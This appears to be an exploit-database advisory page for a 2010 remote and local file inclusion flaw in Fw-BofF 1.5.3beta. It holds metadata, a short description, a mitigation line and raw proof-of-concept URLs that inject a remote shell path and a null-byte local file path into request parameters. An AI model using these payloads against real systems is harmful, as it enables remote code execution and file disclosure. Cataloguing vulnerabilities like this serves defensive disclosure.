header-logo
Suggest Exploit
vendor:
Fw-BofF
by:
cr4wl3r
9,3
CVSS
HIGH
Multiple Remote Include Vulnerability
94
CWE
Product Name: Fw-BofF
Affected Version From: 1.5.3beta
Affected Version To: 1.5.3beta
Patch Exists: YES
Related CWE: N/A
CPE: a:oolime-resurrection:fw-boff
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

Fw-BofF (oolime-resurrection) 1.5.3beta Multiple Remote Include Vulnerability

Fw-BofF (oolime-resurrection) 1.5.3beta is vulnerable to multiple remote include vulnerabilities. An attacker can exploit this vulnerability by sending a maliciously crafted request to the vulnerable application. This can allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Apply the latest security patches and updates to the vulnerable application.
Source

Exploit-DB raw data:

=============================================================================
Fw-BofF (oolime-resurrection) 1.5.3beta Multiple Remote Include Vulnerability
=============================================================================


[+] Fw-BofF (oolime-resurrection) 1.5.3beta Multiple Remote Include Vulnerability
[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/11391
[+] Download: http://code.google.com/p/oolime-resurrection/downloads/list

[+] PoC RFI: [path]/core/dispatcher.php?configRootDir=[Shell]

[+] PoC LFI: [path]/core/database.php?configDBchoice=[LFI%00]

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22]